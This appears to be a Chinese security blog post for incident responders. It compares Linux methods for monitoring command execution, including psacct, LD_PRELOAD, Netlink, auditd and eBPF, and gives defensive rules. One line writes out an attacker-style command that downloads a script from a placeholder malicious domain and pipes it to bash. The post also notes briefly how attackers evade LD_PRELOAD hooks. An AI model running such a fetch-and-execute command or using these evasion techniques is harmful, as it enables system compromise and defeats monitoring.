服务器被入侵，日志却一片空白？深扒Linux监控命令执行的9种方式与绕过陷阱

原创

信安路漫漫
信安路漫漫

信安路漫漫

2026年11月12日 07:00
上海

去阅读

01前言

做应急响应的兄弟肯定都遇到过这种绝望时刻：服务器被黑了，你想看看攻击者到底执行了什么命令，结果要么日志被清理了，要么发现你部署的监控脚本根本没有记录下关键信息。

在Linux下，监控“谁执行了什么命令”看似简单，实则暗流涌动。从最简单的 /proc 到现代内核级的 eBPF，不同方案的可靠性天差地别。

今天这篇，我把市面上常见的监控方式扒了个底朝天。重点提醒：其中有几种看似好用，实则极易被黑客绕过，千万别作为唯一的防御手段。

无论是web命令执行还是反弹shell，都是命令的一种表现形式，因此要精确的发现这类入侵，实时监控以及日志留存就显得很重要，下面就一起来看看目前常用的实时监控命令执行的方式，这也是目前很多HIDS系统常用的方式。

02避坑指南：这4种监控方式，防君子不防小人

很多轻量级脚本或简单的运维工具喜欢用下面这几种，但在真实的攻防场景中，它们极其脆弱：

进程记账（psacct）：事后的马后炮

原理：进程结束后，把记录写入 /var/account/pacct。

致命伤：它是“事后”的，而且信息极其残缺。如果黑客执行了 curl -s http://恶意域名/脚本.sh | bash，它可能只记录了一个 bash，把最关键的恶意域名给丢了。此外，在Docker容器里它默认很难工作。

LD\_PRELOAD（so preload）：一戳就破的窗户纸

原理：利用动态链接器劫持 libc 的 execve 函数。

致命伤：如果黑客用静态编译的程序，或者直接发起系统调用（不经过libc），你的hook就彻底失效了。对抗成本极低，绝对不适合工业级审计。

Netlink Connector：有时间差的“慢半拍”

原理：内核发通知，用户态收到PID后，再去读 /proc//cmdline。

致命伤：存在时间差！黑客如果执行的是“秒退”的短暂进程，你还没去读，进程就没了。而且面对复杂的管道符命令，获取的信息往往不完整。

如下图就是利用netlink获取到的信息，这个一般只有进程pid，具体的进程执行信息可以从/proc目录中去获取，因此这个也是有一个时间差。

图 01

/proc文件系统：只能是辅助

它只是当前进程的“瞬时快照”。适合你已经拿到了可疑PID去深入排查，但它没有历史记录，不能作为监控手段。

03进阶防御：这2种方式，黑客看了直摇头

如果要做到高可靠、抗绕过，必须往下看。

auditd：最正统的“铁面判官”

原理：Linux自带的审计守护进程，工作在内核层。

优势：用户程序无法绕过。你可以精准监控 execve 系统调用，记录的日志结构化极好，就在 /var/log/audit/audit.log。

实用规则（可直接抄作业）：

在 /etc/audit/rules.d/ 下写入规则，覆盖32/64位：

-a exit,always -F arch=b64 -S execve -S execveat -k executed-process

加载后，直接 ausearch -k executed-process 就能把所有执行的命令拉出来。

如下图，定义了监控execve的系统调用

图 02

在日志中都可以显示出来

图 03

可以通过解析日志来获取系统所有的命令调用

eBPF/bpftrace：现代安全的“降维打击”

原理：把程序挂载到内核钩子上，极低开销实时捕获。

优势：粒度可编程，上下文极其完整（包括父进程、容器cgroup等）。

实时打印所有新进程的一行命令：

示例 · BASH

sudo bpftrace -e 'tracepoint:syscalls:sys_enter_execve {

printf(\"PID=%d PPID=%d COMM=%s FILE=%s\ \",

pid, curtask->real_parent->pid, comm, str(args->filename));

}'

eBPF 的优势在于粒度可编程：你可以编写过滤逻辑，只捕获特定用户、特定程序的执行，将噪音降到最低。它适合安全分析、入侵检测，以及需要将进程上下文（如父子关系、容器归属）关联起来的场景。需要注意的是，eBPF 通常要求 Linux 内核 5.4+（推荐 5.8+），且一般建议与 auditd 或 journald 互补使用，而不是作为唯一的审计留痕手段。

与 auditd 的对比：auditd 的工作模式是“内核产生事件 → 用户态守护进程接收 → 写入磁盘”，而 eBPF 直接在事件发生的内核现场进行过滤和聚合，只把最精炼的结果传给用户态，这从根本上减少了数据拷贝和上下文切换的开销

04总结与思考：安全没有银弹

除了上面这些，还有 strace（适合单进程精准调试）和内核态的 Syscall Hook（风险极高，容易搞崩内核）。

在真实的应急响应中，我的建议是：永远不要只依赖一种手段。

用 auditd 做全量的底层留痕，用 eBPF 做高级上下文过滤和异常检测，再结合 psacct 看看宏观数据，才能构建真正的纵深防御。

最后留个问题给大家探讨：

现在很多高级黑产开始用无文件攻击，甚至把恶意代码注入到合法的系统进程中（比如利用 memfd\_create）。在这种情况下，你的监控方案还能抓到他吗？欢迎在评论区聊聊你的看法。

感谢阅读

如果这篇文章对你有帮助，欢迎关注、收藏，也欢迎留言交流。